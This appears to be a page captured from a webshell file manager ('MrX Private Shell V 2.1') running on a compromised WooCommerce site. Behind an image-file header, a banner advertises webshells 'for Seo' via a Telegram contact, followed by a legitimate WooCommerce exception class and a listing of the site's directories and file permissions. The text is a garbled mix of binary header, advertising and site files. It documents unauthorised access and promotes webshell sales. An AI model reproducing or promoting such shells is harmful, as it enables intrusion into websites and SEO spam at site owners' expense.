����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Automattic\WooCommerce\Api;
/**
* Thrown to deny access with a 401 Unauthorized status.
*
* Use when authentication is required but missing, or when an `authorize()`
* method needs to deny access without distinguishing further. For credentials
* that are present but rejected, prefer {@see InvalidTokenException}; for
* "authenticated but not allowed", prefer {@see ForbiddenException}.
*
* Wire shape: `extensions.code = 'UNAUTHORIZED'`, HTTP status 401.
*/
class UnauthorizedException extends ApiException {
/**
* Constructor.
*
* @param string $message The error message.
* @param array $extensions Additional error metadata to surface in the GraphQL `extensions` object.
* @param ?\Throwable $previous The previous throwable for chaining.
*/
public function __construct(
string $message = 'Authentication required.',
array $extensions = array(),
?\Throwable $previous = null,
) {
parent::__construct( $message, 'UNAUTHORIZED', $extensions, 401, $previous );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Attributes | Folder | 0755 |
|
|
| Enums | Folder | 0755 |
|
|
| Infrastructure | Folder | 0755 |
|
|
| InputTypes | Folder | 0755 |
|
|
| Interfaces | Folder | 0755 |
|
|
| Mutations | Folder | 0755 |
|
|
| Pagination | Folder | 0755 |
|
|
| Queries | Folder | 0755 |
|
|
| Scalars | Folder | 0755 |
|
|
| Traits | Folder | 0755 |
|
|
| Types | Folder | 0755 |
|
|
| Utils | Folder | 0755 |
|
|
| ApiException.php | File | 1.21 KB | 0644 |
|
| ForbiddenException.php | File | 995 B | 0644 |
|
| InvalidTokenException.php | File | 1.03 KB | 0644 |
|
| NotFoundException.php | File | 999 B | 0644 |
|
| UnauthorizedException.php | File | 1.03 KB | 0644 |
|
| ValidationException.php | File | 1.1 KB | 0644 |
|